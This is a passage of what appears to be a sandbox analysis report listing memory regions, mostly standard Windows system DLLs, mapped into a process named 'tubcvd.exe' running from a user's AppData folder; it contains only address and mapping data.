entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 5571 start_va = 0x60000 end_va = 0x9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5572 start_va = 0xa0000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 5573 start_va = 0x1a0000 end_va = 0x1a3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 5574 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 5575 start_va = 0x1c0000 end_va = 0x1c1fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 5576 start_va = 0x400000 end_va = 0x426fff entry_point = 0x400000 region_type = mapped_file name = "tubcvd.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\tubcvd.exe") Region: id = 5577 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5578 start_va = 0x7ffb0000 end_va = 0x7ffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 5579 start_va = 0x7ffdb000 end_va = 0x7ffddfff entry_point = 0x0 region_type = private name = "private_0x000000007ffdb000" filename = "" Region: id = 5580 start_va = 0x7ffde000 end_va = 0x7ffdefff entry_point = 0x0 region_type = private name = "private_0x000000007ffde000" filename = "" Region: id = 5581 start_va = 0x7ffdf000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007ffdf000" filename = "" Region: id = 5582 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5583 start_va = 0x7fff0000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5584 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5585 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 5586 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 5587 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 5588 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 5589 start_va = 0x570000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 5590 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 5591 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5592 start_va = 0x20000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5593 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 5594 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5595 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 5596 start_va = 0x290000 end_va = 0x34dfff entry_point = 0x290000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5597 start_va = 0x430000 end_va = 0x52ffff entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5598 start_va = 0x670000 end_va = 0x7f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 5599 start_va = 0x8e0000 end_va = 0x8effff entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 5600 start_va = 0x8f0000 end_va = 0xa70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 5601 start_va = 0xa80000 end_va = 0x1e7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 5602 start_va = 0x744f0000 end_va = 0x744f5fff entry_point = 0x744f0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 5603 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5604 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 5605 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 5606 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5607 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5608 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5609 start_va = 0x748c0000 end_va = 0x749dffff entry_point = 0x748c0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5610 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5611 start_va = 0x74c90000 end_va = 0x74d0afff entry_point = 0x74c90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 5612 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5613 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5614 start_va = 0x771f0000 end_va = 0x7721afff entry_point = 0x771f0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5615 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5616 start_va = 0x7feb0000 end_va = 0x7ffaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 5617 start_va = 0x7ffd8000 end_va = 0x7ffdafff entry_point = 0x0 region_type = private name = "private_0x000000007ffd8000" filename = "" Region: id = 5618 start_va = 0x800000 end_va = 0x8dffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 5619 start_va = 0x220000 end_va = 0x231fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5620 start_va = 0x75c90000 end_va = 0x7704efff entry_point = 0x75c90000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 5621 start_va = 0x757b0000 end_va = 0x75c8cfff entry_point = 0x757b0000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 5622 start_va = 0x749e0000 end_va = 0x74b99fff entry_point = 0x749e0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5623 start_va = 0x75100000 end_va = 0x75143fff entry_point = 0x75100000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 5624 start_va = 0x75650000 end_va = 0x7565bfff entry_point = 0x75650000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5625 start_va = 0x75260000 end_va = 0x752ecfff entry_point = 0x75260000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5626 start_va = 0x74ef0000 end_va = 0x74f33fff entry_point = 0x74ef0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 5627 start_va = 0x77230000 end_va = 0x7723efff entry_point = 0x77230000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 5628 start_va = 0x74d10000 end_va = 0x74e84fff entry_point = 0x74d10000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 5629 start_va = 0x751f0000 end_va = 0x751fdfff entry_point = 0x751f0000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 5630 start_va = 0x742c0000 end_va = 0x744e3fff entry_point = 0x742c0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 5631 start_va = 0x74200000 end_va = 0x742befff entry_point = 0x74200000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 5632 start_va = 0x220000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5633 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 5634 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 5635 start_va = 0x230000 end_va = 0x230fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 5636 start_va = 0x350000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 5637 start_va = 0x1e80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 5638 start_va = 0x7ffd5000 end_va = 0x7ffd7fff entry_point = 0x0 region_type = private name = "private_0x000000007ffd5000" filename = "" Region: id = 5639 start_va = 0x73f70000 end_va = 0x73fe4fff entry_point = 0x73f70000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 5640 start_va = 0x800000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 5641 start_va = 0x8d0000 end_va = 0x8dffff entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 5642 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 5643 start_va = 0x1f80000 end_va = 0x2037fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f80000" filename = "" Region: id = 5644 start_va = 0x220000 end_va = 0x223fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 5645 start_va = 0x73f50000 end_va = 0x73f6cfff entry_point = 0x73f50000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 5646 start_va = 0x230000 end_va = 0x233fff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 5647 start_va = 0x240000 end_va = 0x245fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 5648 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 5649 start_va = 0x2040000 end_va = 0x20bffff entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 5650 start_va = 0x20c0000 end_va = 0x23f6fff entry_point = 0x20c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5651 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 5652 start_va = 0x530000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5653 start_va = 0x800000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 5654 start_va = 0x870000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 5655 start_va = 0x880000 end_va = 0x8bffff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 5656 start_va = 0x2500000 end_va = 0x25fffff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 5657 start_va = 0x2600000 end_va = 0x26fffff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 5658 start_va = 0x2700000 end_va = 0x27fffff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 5659 start_va = 0x2800000 end_va = 0x283ffff entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 5660 start_va = 0x2840000 end_va = 0x293ffff entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 5661 start_va = 0x2940000 end_va = 0x297ffff entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 5662 start_va = 0x2980000 end_va = 0x2a7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 5663 start_va = 0x2a80000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 5664 start_va = 0x2ac0000 end_va = 0x2bbffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 5665 start_va = 0x2bc0000 end_va = 0x2bfffff entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 5666 start_va = 0x2c00000 end_va = 0x2cfffff entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 5667 start_va = 0x2d00000 end_va = 0x2d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d00000" filename = "" Region: id = 5668 start_va = 0x2d40000 end_va = 0x2e3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 5669 start_va = 0x2e40000 end_va = 0x2e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e40000" filename = "" Region: id = 5670 start_va = 0x2e80000 end_va = 0x2f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e80000" filename = "" Region: id = 5671 start_va = 0x2f80000 end_va = 0x2fbffff entry_point = 0x0 region_type = private name = "private_0x0000000002f80000" filename = "" Region: id = 5672 start_va = 0x2fc0000 end_va = 0x30bffff entry_point = 0x0 region_type = private name = "private_0x0000000002fc0000" filename = "" Region: id = 5673 start_va = 0x30c0000 end_va = 0x30fffff entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 5674 start_va = 0x3100000 end_va = 0x31fffff entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 5675 start_va = 0x3200000 end_va = 0x323ffff entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 5676 start_va = 0x3240000 end_va = 0x333ffff entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 5677 start_va = 0x3340000 end_va = 0x337ffff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 5678 start_va = 0x3380000 end_va = 0x347ffff entry_point = 0x0 region_type = private name = "private_0x0000000003380000" filename = "" Region: id = 5679 start_va = 0x3480000 end_va = 0x34bffff entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 5680 start_va = 0x34c0000 end_va = 0x35bffff entry_point = 0x0 region_type = private name = "private_0x00000000034c0000" filename = "" Region: id = 5681 start_va = 0x35c0000 end_va = 0x35fffff entry_point = 0x0 region_type = private name = "private_0x00000000035c0000" filename = "" Region: id = 5682 start_va = 0x3600000 end_va = 0x36fffff entry_point = 0x0 region_type = private name = "private_0x0000000003600000" filename = "" Region: id = 5683 start_va = 0x3700000 end_va = 0x373ffff entry_point = 0x0 region_type = private name = "private_0x0000000003700000" filename = "" Region: id = 5684 start_va = 0x3740000 end_va = 0x383ffff entry_point = 0x0 region_type = private name = "private_0x0000000003740000" filename = "" Region: id = 5685 start_va = 0x3840000 end_va = 0x387ffff entry_point = 0x0 region_type = private name = "private_0x0000000003840000" filename = "" Region: id = 5686 start_va = 0x3880000 end_va = 0x397ffff entry_point = 0x0 region_type = private name = "private_0x0000000003880000" filename = "" Region: id = 5687 start_va = 0x3980000 end_va = 0x39bffff entry_point = 0x0 region_type = private name = "private_0x0000000003980000" filename = "" Region: id = 5688 start_va = 0x39c0000 end_va = 0x3abffff entry_point = 0x0 region_type = private name = "private_0x00000000039c0000" filename = "" Region: id = 5689 start_va = 0x3ac0000 end_va = 0x3afffff entry_point = 0x0 region_type = private name = "private_0x0000000003ac0000" filename = "" Region: id = 5690 start_va = 0x3b00000 end_va = 0x3bfffff entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 5691 start_va = 0x3c00000 end_va = 0x3c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 5692 start_va = 0x3c40000 end_va = 0x3d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c40000" filename = "" Region: id = 5693 start_va = 0x3d40000 end_va = 0x3d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d40000" filename = "" Region: id = 5694 start_va = 0x3d80000 end_va = 0x3e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d80000" filename = "" Region: id = 5695 start_va = 0x3e80000 end_va = 0x3ebffff entry_point = 0x0 region_type = private name = "private_0x0000000003e80000" filename = "" Region: id = 5696 start_va = 0x3ec0000 end_va = 0x3fbffff entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 5697 start_va = 0x3fc0000 end_va = 0x3ffffff entry_point = 0x0 region_type = private name = "private_0x0000000003fc0000" filename = "" Region: id = 5698 start_va = 0x4000000 end_va = 0x40fffff entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 5699 start_va = 0x4100000 end_va = 0x413ffff entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 5700 start_va = 0x4140000 end_va = 0x423ffff entry_point = 0x0 region_type = private name = "private_0x0000000004140000" filename = "" Region: id = 5701 start_va = 0x4240000 end_va = 0x427ffff entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 5702 start_va = 0x4280000 end_va = 0x437ffff entry_point = 0x0 region_type = private name = "private_0x0000000004280000" filename = "" Region: id = 5703 start_va = 0x4380000 end_va = 0x43bffff entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 5704 start_va = 0x43c0000 end_va = 0x44bffff entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 5705 start_va = 0x44c0000 end_va = 0x44fffff entry_point = 0x0 region_type = private name = "private_0x00000000044c0000" filename = "" Region: id = 5706 start_va = 0x4500000 end_va = 0x45fffff entry_point = 0x0 region_type = private name = "private_0x0000000004500000" filename = "" Region: id = 5707 start_va = 0x4600000 end_va = 0x463ffff entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 5708 start_va = 0x4640000 end_va = 0x473ffff entry_point = 0x0 region_type = private name = "private_0x0000000004640000" filename = "" Region: id = 5709 start_va = 0x4740000 end_va = 0x477ffff entry_point = 0x0 region_type = private name = "private_0x0000000004740000" filename = "" Region: id = 5710 start_va = 0x4780000 end_va = 0x487ffff entry_point = 0x0 region_type = private name = "private_0x0000000004780000" filename = "" Region: id = 5711 start_va = 0x4880000 end_va = 0x48bffff entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 5712 start_va = 0x48c0000 end_va = 0x49bffff entry_point = 0x0 region_type = private name = "private_0x00000000048c0000" filename = "" Region: id = 5713 start_va = 0x49c0000 end_va = 0x49fffff entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 5714 start_va = 0x4a00000 end_va = 0x4afffff entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 5715 start_va = 0x7fe50000 end_va = 0x7fe52fff entry_point = 0x0 region_type = private name = "private_0x000000007fe50000" filename = "" Region: id = 5716 start_va = 0x7fe53000 end_va = 0x7fe55fff entry_point = 0x0 region_type = private name = "private_0x000000007fe53000" filename = "" Region: id = 5717 start_va = 0x7fe56000 end_va = 0x7fe58fff entry_point = 0x0 region_type = private name = "private_0x000000007fe56000" filename = "" Region: id = 5718 start_va = 0x7fe59000 end_va = 0x7fe5bfff entry_point = 0x0 region_type = private name = "private_0x000000007fe59000" filename = "" Region: id = 5719 start_va = 0x7fe5c000 end_va = 0x7fe5efff entry_point = 0x0 region_type = private name = "private_0x000000007fe5c000" filename = "" Region: id = 5720 start_va = 0x7fe5f000 end_va = 0x7fe61fff entry_point = 0x0 region_type = private name = "private_0x000000007fe5f000" filename = "" Region: id = 5721 start_va = 0x7fe62000 end_va = 0x7fe64fff entry_point = 0x0 region_type = private name = "private_0x000000007fe62000" filename = "" Region: id = 5722 start_va = 0x7fe65000 end_va = 0x7fe67fff entry_point = 0x0 region_type = private name = "private_0x000000007fe65000" filename = "" Region: id = 5723 start_va = 0x7fe68000 end_va = 0x7fe6afff entry_point = 0x0 region_type = private name = "private_0x000000007fe68000" filename = "" Region: id = 5724 start_va = 0x7fe6b000 end_va = 0x7fe6dfff entry_point = 0x0 region_type = private name = "private_0x000000007fe6b000" filename = "" Region: id = 5725 start_va = 0x7fe6e000 end_va = 0x7fe70fff entry_point = 0x0 region_type = private name = "private_0x000000007fe6e000" filename = "" Region: id = 5726 start_va = 0x7fe71000 end_va = 0x7fe73fff entry_point = 0x0 region_type = private name = "private_0x000000007fe71000" filename = "" Region: id = 5727 start_va = 0x7fe74000 end_va = 0x7fe76fff entry_point = 0x0 region_type = private name = "private_0x000000007fe74000" filename = "" Region: id = 5728 start_va = 0x7fe77000 end_va = 0x7fe79fff entry_point = 0x0 region_type = private name = "private_0x000000007fe77000" filename = "" Region: id = 5729 start_va = 0x7fe7a000 end_va = 0x7fe7cfff entry_point = 0x0 region_type = private name = "private_0x000000007fe7a000" filename = "" Region: id = 5730 start_va = 0x7fe7d000 end_va = 0x7fe7ffff entry_point = 0x0 region_type = private name = "private_0x000000007fe7d000" filename = "" Region: id = 5731 start_va = 0x7fe80000 end_va = 0x7fe82fff entry_point = 0x0 region_type = private name = "private_0x000000007fe80000" filename = "" Region: id = 5732 start_va = 0x7fe83000 end_va = 0x7fe85fff entry_point = 0x0 region_type = private name = "private_0x000000007fe83000" filename = "" Region: id = 5733 start_va = 0x7fe86000 end_va = 0x7fe88fff entry_point = 0x0 region_type = private name = "private_0x000000007fe86000" filename = "" Region: id = 5734 start_va = 0x7fe89000 end_va = 0x7fe8bfff entry_point = 0x0 region_type = private name = "private_0x000000007fe89000" filename = "" Region: id = 5735 start_va = 0x7fe8c000 end_va = 0x7fe8efff entry_point = 0x0 region_type = private name = "private_0x000000007fe8c000" filename = "" Region: id = 5736 start_va = 0x7fe8f000 end_va = 0x7fe91fff entry_point = 0x0 region_type = private name = "private_0x000000007fe8f000" filename = "" Region: id = 5737 start_va = 0x7fe92000 end_va = 0x7fe94fff entry_point = 0x0 region_type = private name = "private_0x000000007fe92000" filename = "" Region: id = 5738 start_va = 0x7fe95000 end_va = 0x7fe97fff entry_point = 0x0 region_type = private name = "private_0x000000007fe95000" filename = "" Region: id = 5739 start_va = 0x7fe98000 end_va = 0x7fe9afff entry_point = 0x0 region_type = private name = "private_0x000000007fe98000" filename = "" Region: id = 5740 start_va = 0x7fe9b000 end_va = 0x7fe9dfff entry_point = 0x0 region_type = private name = "private_0x000000007fe9b000" filename = "" Region: id = 5741 start_va = 0x7fe9e000 end_va = 0x7fea0fff entry_point = 0x0 region_type = private name = "private_0x000000007fe9e000" filename = "" Region: id = 5742 start_va = 0x7fea1000 end_va = 0x7fea3fff entry_point = 0x0 region_type = private name = "private_0x000000007fea1000" filename = "" Region: id = 5743 start_va = 0x7fea4000 end_va = 0x7fea6fff entry_point = 0x0 region_type = private name = "private_0x000000007fea4000" filename = "" Region: id = 5744 start_va = 0x7fea7000 end_va = 0x7fea9fff entry_point = 0x0 region_type = private name = "private_0x000000007fea7000" filename = "" Region: id = 5745 start_va = 0x7feaa000 end_va = 0x7feacfff entry_point = 0x0 region_type = private name = "private_0x000000007feaa000" filename = "" Region: id = 5746 start_va = 0x73f30000 end_va = 0x73f42fff entry_point = 0x73f30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 5747 start_va = 0x73f10000 end_va = 0x73f2afff entry_point = 0x73f10000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 5748 start_va = 0x73ee0000 end_va = 0x73f0efff entry_point = 0x73ee0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 5749 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5750 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5751 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5752 start_va = 0x1e80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 5753 start_va = 0x260000 end_va = 0x271fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5754 start_va = 0x350000 end_va = 0x354fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000350000" filename = "" Region: id = 5755 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5756 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5757 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5758 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 5759 start_va = 0x270000 end_va = 0x274fff entry_point = 0x0 region_type = 